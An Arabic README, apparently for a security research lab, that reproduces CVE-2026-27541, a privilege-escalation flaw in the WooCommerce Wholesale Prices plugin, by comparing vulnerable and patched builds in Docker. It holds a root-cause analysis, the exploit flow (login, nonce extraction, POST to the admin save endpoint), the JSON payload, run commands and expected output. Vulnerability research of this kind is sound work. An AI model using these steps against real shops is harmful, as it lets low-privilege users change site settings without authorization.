
مختبر Docker لإعادة إنتاج CVE-2026-27541، وهو تصعيد صلاحيات مُصادق عليه في WooCommerce Wholesale Prices. يقارن بين البنيات الثغرة والمصححة، ويتضمن سكربت PoC وتحليل السبب الجذري.

هذا المشروع عبارة عن مختبر Docker محلي لتحليل وإعادة إنتاج سلوك CVE-2026-27541 في إضافة WooCommerce Wholesale Prices / Wholesale Suite من خلال مقارنة الإصدارات الهشّة والمُصحَّحة جنبًا إلى جنب على نفس الجهاز.
المشكلة الأساسية هي التحكم المكسور في الوصول (Broken Access Control) في نقطة نهاية REST API التالية:
/wp-json/wwp/v1/admin/save
استنادًا إلى الكود المصدري المستخدم في هذا المختبر، يحتوي هذا المسار بالفعل على permission_callback في كل من الإصدارين الهشّ والمُصحَّح. ومع ذلك، يستخدم الإصدار المتأثر فحص صلاحيات واسعًا جدًا لإجراء كتابة إعدادات المسؤول:
2.2.6) ← current_user_can( 'manage_woocommerce' )2.2.7) ← current_user_can( 'manage_options' )في هذا المختبر، المستخدم shopmgr، الذي يمتلك دور shop_manager، لديه manage_woocommerce=true ولكن ليس manage_options. ونتيجة لذلك، يمكن لهذا المستخدم منخفض الصلاحيات استخدام جلسة تسجيل دخول صالحة بالإضافة إلى X-WP-Nonce صالح لاستدعاء نقطة نهاية حفظ إعدادات المسؤول على الإصدار الهشّ، بينما يُرجع الإصدار المُصحَّح 403 rest_forbidden لنفس الطلب.
2.2.6): يمكن للمستخدم shopmgr استدعاء POST /wp-json/wwp/v1/admin/save بنجاح وتعديل إعدادات الإضافة.2.2.7): يتم رفض نفس الطلب من shopmgr برمز 403.403، وهو ما يتوافق مع كون هذه مشكلة تصعيد صلاحيات بعد المصادقة.wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC، بينما لا يزال الإصدار المُصحَّح يُرجع See wholesale prices.vuln ← ووردبريس + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched ← ووردبريس + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched ← قواعد بيانات MariaDB منفصلةseed-vuln / seed-patched ← وظائف تهيئة wp-cli التي تثبّت ووردبريس، وتثبّت الإضافة، وتنشئ المستخدمين، وتنشئ منتجًا للاختبارhttp://localhost:8081 ← الهشّhttp://localhost:8082 ← المُصحَّحwordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — يحدد مجموعتي الهشّ والمُصحَّح مع قواعد بيانات منفصلةscripts/seed-wp.sh — يثبّت ووردبريس وWooCommerce والإضافة المستهدفة، وينشئ مستخدمي الاختبار وبيانات المنتجpoc.py — PoC بأقل ضرر لتسجيل الدخول واستخراج nonce واستدعاء نقطة نهاية RESTبمجرد أن تصبح المجموعة جاهزة، ينشئ سكربت التهيئة ما يلي:
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce: 10.6.0
WooCommerce Wholesale Prices:
2.2.62.2.7يكتب السكربت أيضًا lab-secrets.json في كل حاوية ووردبريس بحيث يمكن التحقق من البيانات المُهيَّأة ومعلومات الإصدار.
لا يحاول هذا الـ PoC السيطرة على الموقع، أو تغيير الأدوار، أو تثبيت إضافات، أو تنفيذ شل.
إنه يقوم فقط بما يلي:
shopmgrwpApiSettings.noncewwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
يُستخدم هذا الإعداد كعلامة قابلة للملاحظة لإثبات أن مستخدمًا منخفض الصلاحيات يمكنه تعديل تكوين مخصص للمسؤول فقط.
POST /wp-json/wwp/v1/admin/saveعلى الرغم من أن نقطة النهاية تتطلب جلسة صالحة وnonce، إلا أن الإصدار الهشّ لا يزال يسمح لمستخدم منخفض الصلاحيات مثل shopmgr بدور shop_manager باستدعاء نقطة نهاية يجب أن تكون مخصصة للمسؤول فقط.
هذه ليست ثغرة بدون مصادقة.
إذا تم استدعاء نقطة النهاية مباشرة بدون جلسة تسجيل دخول، يرفض كل من الإصدارين الهشّ والمُصحَّح الطلب. الخلل موجود في التفويض بعد المصادقة، وليس في المصادقة نفسها.
الإصدار الهشّ لا يفتقر إلى permission_callback. الخلل هو أنه يستخدم فحص صلاحيات واسعًا جدًا (manage_woocommerce) لإجراء REST يكتب إعدادات جانب المسؤول.
من الكود المصدري في includes/class-wwp-admin-settings.php:
POST /wp-json/wwp/v1/admin/savesave_registered_settings()permission_admin_check() كـ permission_callback2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
في هذا المختبر، المستخدم shopmgr، الذي يمتلك دور shop_manager، لديه manage_woocommerce=true ولكن ليس manage_options، لذلك يجتاز الفحص الهشّ لكنه يفشل في الفحص المُصحَّح.
الإصدار المُصحَّح لا يكتفي بتغيير الاستجابة من 200 إلى 403. إنه يغيّر منطق التحكم في الوصول من خلال تشديد متطلب الصلاحية من manage_woocommerce إلى manage_options.
بالإضافة إلى ذلك، يتم تعزيز مسار الحفظ في الإصدار المُصحَّح بشكل أكبر من خلال الانتقال من التصفية القائمة على البادئات إلى قوائم السماح الصريحة وتعقيم أقوى.
يتبع الـ PoC نفس التدفق كسياق متصفح حقيقي:
shopmgrwpApiSettings.noncePOST /wp-json/wwp/v1/admin/saveلأن الإصدار الهشّ يسمح للمستخدمين الذين لديهم manage_woocommerce باستدعاء إجراء كتابة الإعدادات هذا، ينجح الطلب ويؤدي إلى تغيير خيار دائم.
يساعد الـ nonce في الحماية من CSRF، لكنه ليس عنصر تحكم في التفويض.
امتلاك جلسة صالحة وnonce صالح لا يعني أنه يجب السماح للمستخدم بتنفيذ إجراء إداري. استخدام صلاحية واسعة جدًا على نقطة نهاية مميزة كافٍ لإنشاء تجاوز تفويض منخفض الصلاحيات.
docker compose up -d --build
docker compose ps
يجب أن ترى على الأقل:
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
يعمل poc.py على النحو التالي:
GET /wp-login.php
POST /wp-login.php لإنشاء جلسة مُوثَّقة
فتح صفحة إدارة الإضافة:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
استخراج wpApiSettings.nonce وجذر REST من HTML/JavaScript
إرسال طلب إلى:
/wp-json/wwp/v1/admin/save
إرسال الحمولة:
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)المخرجات المتوقعة:
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)المخرجات المتوقعة:
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
بعد نجاح الـ PoC على العقدة الهشّة:
PWNED_BY_POC
الأثر العملي لهذه الفئة من الثغرات هو أن مستخدمًا منخفض الصلاحيات يمكنه تعديل تكوين يجب أن يكون مخصصًا للمسؤول فقط، مما قد يؤدي مباشرة إلى:
يستخدم هذا المختبر عمدًا حمولة آمنة وقابلة للملاحظة لتجنب تغييرات الأدوار أو أي تصعيد يتجاوز ما هو مطلوب لإثبات حالة الثغرة.
docker compose down -v
localhost فقطيُظهر هذا المختبر أن CVE-2026-27541 هو تجاوز تفويض مُوثَّق منخفض الصلاحيات في نقطة نهاية إعدادات REST API الخاصة بالإضافة. الخلل في الإصدار 2.2.6 ليس غياب فحص الصلاحيات، بل استخدام صلاحية واسعة جدًا (manage_woocommerce) لإجراء يجب تقييده بمستوى manage_options.
في هذه البيئة المحلية:
shopmgr الفحص الهشّ ويمكنه تعديل إعدادات جانب المسؤول بنجاح عبر POST /wp-json/wwp/v1/admin/save2.2.7PWNED_BY_POC في الخيار المستهدف، بينما لا يفعل الإصدار المُصحَّح ذلكونتيجة لذلك، يعمل هذا المستودع كإثبات سلوكي وإثبات قائم على الكود للفرق بين الهشّ والمُصحَّح في بيئة محلية خاضعة للتحكم الكامل.